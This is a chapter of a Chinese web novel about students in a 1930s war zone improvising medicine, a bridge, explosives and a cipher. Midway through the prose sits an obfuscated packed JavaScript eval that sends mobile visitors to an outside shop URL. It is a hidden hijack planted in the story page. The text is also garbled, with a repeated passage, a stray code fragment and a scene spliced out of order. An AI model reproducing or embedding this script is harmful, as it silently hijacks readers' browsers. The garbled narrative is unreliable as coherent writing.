第三天，困难像潮水一样涌来。
先是苏晚的消毒液配方出了大问题。
这天早上，她去军营里查看消毒情况。石灰水和草木灰水的混合液已经在部分区域使用了三天。表面上看，伤口的感染率确实有所下降——从之前的七成降到了五成。但五成依然太高了。每十个人里还有五个人的伤口在化脓。
更让她揪心的是疟疾。军营里又倒了二十多个人。她检查了他们的血样——在旧显微镜下，她看到了疟原虫的身影，还在活跃地蠕动着。石灰水对它们几乎无效。
"不行，"她对自己说，"这不够。"
她发现石灰水和草木灰水的混合液虽然有一定的消毒效果——对于伤口表面的细菌有抑制作用——但对于疟原虫的杀灭效果远不如预期。她在显微镜下——那是一台从晟华大学实验室里抢救出来的、已经有二十年历史的旧显微镜，镜头有些模糊——观察了加了消毒液的血样，疟原虫只是活动减缓了，并没有被杀死。
她需要一种更强效的消毒剂，或者一种能够杀灭疟原虫的药物。
在现代，这一切都不算难题——含氯消毒液随手可得，抗疟药物有青蒿素、氯喹、甲氟喹。但在1930年代，在炮火连天的战地……
"缺原料，"苏晚的声音发紧，她蹲在临时实验室里，手里攥着那张写满配比的纸，指节发白，"我需要大量的食盐来做电解——但没有直流电源。我需要能导电的碳棒——找到了，但纯度不够。我还需要……"她列了一串东西，每说一个，声音就低一分，像是一块石头在一级一级地往下坠。
温念念在旁边看着，心里揪成了一团。
"那就不能用别的方法？"
"我试了。所有能试的方法我都试了。"苏晚的声音开始颤抖，"青蒿——我让顾校长帮我找到了青蒿，这附近有野生的青蒿，我采了一大筐。但青蒿素的提取需要有机溶剂——□□或者石油醚。这里没有。用水煎的话，青蒿素在高温下会被破坏——这是关键问题。葛洪的《肘后备急方》里说'青蒿一握，以水二升渍，绞取汁，尽服之'——用的是浸泡而不是煎煮。但我试了浸泡法，浓度太低，效果很微弱。"
她的眼泪终于掉了下来。
那眼泪不是突然涌出来的——是慢慢地、一滴一滴地渗出来的，像是蓄了很久的水终于溢出了坝。她蹲在那间简陋到令人心碎的实验室里——杂物房改的，墙角还有蜘蛛网，窗户是用油布糊的，竹筒量杯歪歪扭扭地排成一排——手里攥着那张写满配比的纸，肩膀一抽一抽的。
温念念第一次看到苏晚哭。苏晚一直是六个人里最冷静的——生物学博一的高材生，做什么事都条理分明、波澜不惊。在副本一里，后宫那些勾心斗角的把戏被她用最冷静的分析一一拆解。但此刻，她蹲在这间简陋到令人心碎的实验室里，手里攥着那张皱巴巴的纸，肩膀一抽一抽的。
"我学了这个专业，"她哽咽着说，声音断断续续，"我背得下来每一种消毒剂的分子式，我知道每一种抗生素的作用机理，我能画出青蒿素的完整合成路线——但我在这里……什么都做不了。我什么都做不了。"
温念念蹲下来，把她抱住了。
"你做了很多了，"温念念说，自己的声音也在发抖，"石灰水至少控制了痢疾的传播，昨天营里新发病的人比前两天少了三成。你做的已经够多了。"
"可是不够……还是不够……那些战士还在发烧……"
温念念没有再说话，只是抱着她。
过了很久——也许是十分钟，也许是半个小时——苏晚自己擦了擦眼泪，站了起来。她看着那张皱巴巴的纸，深吸了一口气。然后把纸展平，在空白处写下了新的方案。
"我换个思路，"她说，声音沙哑但坚定，"没有含氯消毒液，我就用别的。青蒿不能用有机溶剂提取，那就用水煎——不是高温煎煮，而是低温浸泡。我用冷水泡，虽然效率低，但不会破坏有效成分。再加上高浓度的酒精——我去跟方站长借酒精，通讯站的酒精应该还有一些——做成酊剂。效果可能只有现代药物的十分之一，但十分之一也比零强。"
温念念看着她，用力点了点头。
"我去帮你找酒精。我还能去帮你找更多人手。你不是一个人。"
苏晚深吸一口气。她看着温念念跑出去的背影，忽然觉得心里有什么东西稳定下来了。
她重新蹲下来，开始新一轮的实验。这一次，她的思路更清晰了。她不再纠结于"没有的东西"，而是专注于"有的东西"。
石灰水，有。草木灰，有。青蒿，有。酒精，温念念去找了。冷水，有。竹筒，有。
"够了，"她对自己说，"这些就够了。"
她忽然想起了顾校长。那个白发老人，在炮火中教孩子念诗，在破祠堂里办学校，拿着微薄的薪水连饭都吃不饱，但从来不抱怨。他帮她找药农，给她画地图，借她折刀。
"能帮一点是一点。"他说。
她不知道他是不是还活着。消息传来的时候她在做实验，没有看到。但她不愿意去想最坏的结果。她宁愿相信他还活着，还在教那些孩子念书。
为了他，为了那些孩子，为了所有在这片土地上坚持着的人——她必须把消毒液做出来。
她开始系统地测试不同的配方。每一种配方她都做了详细的记录——配比、温度、浸泡时间、预期效果。没有实验记录本，她就写在那张皱巴巴的纸的背面。纸不够了，她就在墙上写。
老孙——不是兵工厂的老孙，是临时医院里帮忙的老伙夫——看到她蹲在地上写字，给她端来了一碗热水。
"姑娘，喝口水。"
"谢谢。"
"你那个药，快好了吧？"
"在做了。"苏晚接过水，喝了一口。水是热的，从喉咙一直暖到胃里。
"那就好。"老伙夫说，"营里好多弟兄都在等着呢。"
苏晚点了点头，放下水碗，继续工作。
梁栋的桥也出了问题。
他花了两天时间建起来的竹笼石墩桥——三个石笼桥墩，两层桥面，他亲手设计的——在第三天凌晨被狄戎的飞机炸了。
他接到消息的时候天还没亮。他跑到河边的时候，天边刚刚泛出一点鱼肚白。然后他看到了——水面上漂浮着木板、碎石、竹条，他的桥，他花了两天的时间和一身血泡换来的桥，变成了一堆碎片在急流中翻滚。
他站在河边，一句话也没说。
工程队的队长走过来，拍了拍他的肩膀："别灰心，咱们重新来。"
梁栋点了点头，脱掉上衣，跳进河里。
他在水下检查了残存的桥墩，发现三个桥墩里有一个完好——他的石笼结构经受住了爆炸的冲击，竹笼的柔性设计起了作用，爆炸的冲击波被石笼的变形吸收了。另外两个被直接命中，碎了——但不是完全碎，石笼散了，但石头还在原地。
"基础还在，"他爬上岸，声音平静，"不用从头来。一天就能修好。"
但其实他知道，不止是一天。因为桥面的木材也不够了，需要重新去山上砍。而砍柴运柴需要人力，人力已经被抽调去前线了。
下午的时候，那些村民来了。
他们有的扛着木头，有的背着石头，有的什么都不带，就带了一双手。一个五十多岁的汉子扛着一根两丈长的原木，走了五里山路，肩膀磨得血肉模糊，汗把血浸透了，顺着脊背往下淌。
"梁先生，"他把木头放下，气喘吁吁，汗水顺着下巴往下滴，"够不够？"
"够了。"梁栋说。
他的声音有些哑。不是因为累，是因为别的什么。
这些人，他们什么都不图。没有工钱——他们自己的口粮都不够。没有表彰——连一张奖状都拿不出来。甚至吃不饱饭——他们来之前可能只喝了半碗野菜汤。
他们来，只是因为这座桥是前线需要的。桥通了，前线的战士就有弹药了。
他们不懂什么大道理，不会说什么豪言壮语。他们只知道一个最朴素的道理：前线的人在拼命，后方的人不能看着。
陈墨的状态越来越差。
他已经在石棚子里连续工作了四十多个小时。没有合眼，没有正经吃过饭——老孙给他端了一碗粥，他喝了三口就放下了，因为手抖得端不稳碗。
他在尝试一种新的□□——用当地的原料替代缺少的化学试剂。这是一个极其危险的过程。配比稍有偏差就可能提前爆炸——在这个没有防爆设备、没有安全距离、没有任何防护措施的石棚子里，提前爆炸意味着——
他不敢想。但他没有停下来。
外面，老孙端着又一碗粥站在门口，犹豫了很久。他看着陈墨佝偻着背在石板上忙碌的身影——白大褂上全是化学药品的痕迹，手指红肿起泡，头发乱得像鸡窝——心里很不是滋味。
"吃点东西吧。"老孙把粥放在他手边。
"放那儿。"陈墨头也没抬。
粥凉了。他始终没有喝。
"老孙，你休息一下吧。"老孙反过来劝他。
"不行，"他头也不抬，声音干涩得像砂纸，"前线等不了。"
他正在称量一种白色粉末——那是他用土法提纯的硝石替代品。没有分析天平——精度至少需要0.01克——他用一根细竹竿自制了一个等臂秤，在竹竿两端各挂一个小竹筒，一端放标准石砣，一端放药品。精度勉强够用——大概能精确到0.5克。
"再调百分之三的硫……"他自言自语着，用一根木勺小心翼翼地添加。他的嘴唇干裂了，裂口处渗着血，但他没有注意到。
就在这时，他的眼前一黑。
不是突然的——是渐渐的那种，像是有人在他眼前慢慢拉上一块黑色的幕布。他感觉自己的身体在倾斜，手里的木勺歪了，粉末撒了一大半。他想扶住石板，但手没有力气。然后他的身体晃了晃，一头栽倒在石板前。
老孙吓得魂飞魄散，冲过去把他扶起来。陈墨的脸色蜡白，嘴唇干裂渗血，脉搏很弱——这是过度疲劳加上吸入有毒气体导致的急性中毒反应。
"快！灌姜汤！抬到通风的地方去！"老孙冲着门口喊。
陈墨被抬到棚子外面，靠着墙坐着。老孙给他灌了几碗姜汤，又用湿布敷在他额头上。过了半个多小时，他才慢慢醒过来。
他睁开眼的第一句话是："配比……我加到多少了？"
车间外面，天已经黑了。月亮升起来了，冷冷的，照在院子里那七块实验土板上。老孙走过去看了看——七号配方的土板在月光下泛着一种不同于其他六块的光泽。那是桐油固化以后的光泽。
他用手敲了敲。声音清脆、坚实，跟普通夯土完全不同。
"这玩意儿真能行？"他自言自语。
他不知道。但他有一种直觉——这个叫陈墨的年轻人和那个叫林叙的年轻人，也许真的能做出一些不一样的东西。
老孙转身走回车间。
老孙气得想骂人，但骂不出来，只是红着眼圈说："你他妈先把自己顾好！你差点死在里面知不知道！"
"不行，"陈墨挣扎着坐起来，身体晃了一下，又撑住了，"配方差一点就能成了。前线的那些战士……他们在等。"
他重新走回棚子里。手还在抖，但眼神已经恢复了清明。
这一次，他成功了。
一小堆黄褐色的粉末摆在石板上——这是他能在这个时代做出的最好的炸药替代品。
"老孙，"他忽然开口，声音疲惫但平静，"你知道吗，我原来在实验室里，用的都是最高纯度的试剂。一克试剂几千块钱，用完了再买，从来不心疼。做实验做不出来，最多就是导师骂一顿。"
"嗯。"老孙在旁边听着。
"但今天，我为了提纯这几十克粉末，花了十六个小时。差点把自己搭进去。我以前觉得做实验很累，写论文很苦。现在才知道……在战场上做实验，是要命的。"
他笑了笑，笑容里有疲惫，也有一种奇异的平静。
"但值得。"
张驰在这一天里也没闲着。他的动态密码系统已经在小范围内测试成功了——他找了五个通讯兵做测试，让他们用新系统发报，结果发报速度平均提高了两倍，而且没有出过一次译错。
但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764372|209648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他不满足。
"还不够，"他对方站长说，"这套系统有一个漏洞——如果敌人连续截获了多份电报，还是有可能通过统计分析找到规律。我需要加入更多的随机性。"
"怎么做？"
"我想了个办法——在每天的密码卡上，除了偏移量，再加入一个'噪声因子'。就是在编码的过程中，随机加入一些假的数字。敌人就算截获了电报，也分不清哪些是真的、哪些是假的。"
方站长想了想："那我们自己译报的时候怎么分辨？"
"简单。"张驰拿出一张纸，画了一个表格，"真数字和假数字用不同的标记——真数字前面加一个小圆圈，假数字前面什么都不加。译报的时候，看到圆圈的就是真的，没有圆圈的就跳过。"
方站长看着那张表格，沉默了很久。然后他说了一句让张驰一辈子都忘不了的话。
"小张，你这个东西，如果能早两年做出来，也许……"他停了一下，"也许有些人就不用死了。"
张驰没有接话。他低下头，继续修改密码卡。
这一天的夜晚，陈墨终于配出了第二批炸药。
这一批比第一批好多了——他用老孙找来的那些老师傅的笔记里记载的几种配方做了改良，加入了一种当地的矿物粉末作为稳定剂。实验结果显示，新配方的爆炸威力比第一批提高了三成，而且安全性也好得多——不会在运输过程中因为颠簸而提前引爆。
"老孙，"陈墨把一小袋炸药样品递给老孙，"你帮我送到前线去。告诉他们小心轻放，别受潮。"
"你不去休息？"老孙看着他蜡黄的脸，"你都两天没睡了。"
"不急。"陈墨说，"我还想再试试另一种配方。如果能找到一种更好的氧化剂替代品……"
"你去睡。"老孙的语气不容置疑。他一把拉住陈墨的胳膊，"你再不倒下，我就把你绑到床上去。"
陈墨笑了。他实在太累了，笑的时候眼睛都睁不开。
"好。我去睡一会儿。"
他走到棚子外面，靠着一块石头坐了下来。几乎是坐下的瞬间，他就睡着了。老孙给他披了一件旧棉袄，叹了口气，转身回去继续值班。
月亮挂在天上，又圆又亮。像是这片饱受苦难的土地上，唯一不变的东西。
张驰在这一天也没闲着。他的动态密码系统已经在小范围内测试成功了。他找了五个通讯兵做测试，让他们用新系统发报，结果发报速度平均提高了两倍，而且没有出过一次译错。
但他不满足。
"还不够，"他对方站长说，"这套系统有一个漏洞——如果敌人连续截获了多份电报，还是有可能通过统计分析找到规律。我需要加入更多的随机性。"
他想了个办法——在每天的密码卡上，除了偏移量，再加入一个"噪声因子"。就是在编码的过程中，随机加入一些假的数字。敌人就算截获了电报，也分不清哪些是真的、哪些是假的。
做完以后，他靠在墙上休息。他已经连续工作了二十多个小时。
但他笑了。因为他知道，这本小小的密码卡，可以让那些通讯兵发的每一封电报都安全得多。在战场上，信息就是生命。
小赵拿到新版密码卡的时候，眼睛亮了。"张哥，这个好用！"
"好用就行。好好用。别让密码落到敌人手里。"
"放心吧！"小赵把密码卡小心翼翼地揣进怀里。
与此同时，苏晚在临时医院后面那间杂物房里，终于找到了青蒿酊剂的最佳配比。她在冷水浸泡了十二个小时的青蒿液中加入了高浓度酒精——温念念帮她从方站长那里借来的。混合液呈现出一种深绿色，散发着浓烈的草药气味。
"成了。"她轻声说。
她在一个伤员身上试了试——那个伤员有轻度的伤口感染。三天以后，感染明显好转了。
"有效果！"温念念激动得差点跳起来。
"别高兴太早，"苏晚冷静地说，"这只是个例。我需要更多的样本。但至少——方向是对的。"
她连夜配制了更多的青蒿酊剂，装在一个个竹筒里。每一个竹筒上都用炭笔写着用法和用量。
陈墨的第二批炸药被送到了前线。同时送去的还有他写的一份详细的使用说明——每一个步骤都配了图，用简笔画画的，因为前线的士兵不一定识字。
说明的最后，他写了一句话："此炸药由本地原料制成，威力虽不及洋炸药，但在三十米内足以破敌。使用须知：切勿靠近明火，切勿受潮，切勿在雷雨天搬运。——晟华大学化学系陈墨。"
老孙看着那行字，笑了。
"晟华大学……"他自言自语，"好学校。"
他忽然想起了什么。他走到棚子外面，从墙角搬出了那些老师傅留下的笔记本。他翻了翻，在最后一页的空白处，用他那歪歪扭扭的字写了几行：
"宣和十五年，有大学先生名林叙、陈墨者，来吾厂助改良工事材料。二人年轻有为，不辞辛劳。林先生善材料之理，陈先生精化学之术。吾辈虽粗人，亦受益匪浅。特记之，以勉后人。——工头孙德全。"
他写完以后，把笔记本合上，放回了墙角。然后他又看了看那七块实验土板。月光下，七号配方的板子安静地躺在那里，像是一个沉默的承诺。
也许以后会有人看到这些字。也许不会。但文字的力量就在于此——即使写它的人已经不在了，字还在。
但他觉得应该写下来。因为这些人，这些事，值得被记住。
老孙把那本笔记本放回墙角以后，又走到院子里看了看那七块土板。月光下，七号配方的板子安静地躺在那里，表面泛着桐油固化后的微光。他蹲下来，用手摸了摸板子的表面——坚硬、光滑，跟普通夯土完全不同。
"这玩意儿，"他自言自语，"真他娘的好。"
夜深了。老孙最后一次巡视了院子，检查了那些土板和材料。一切安好。他回到棚子里，在陈墨旁边的草堆上躺下来。远处传来几声犬吠，然后是寂静。月光透过棚子的缝隙洒进来，照在那七块土板上。
明天，又是新的一天。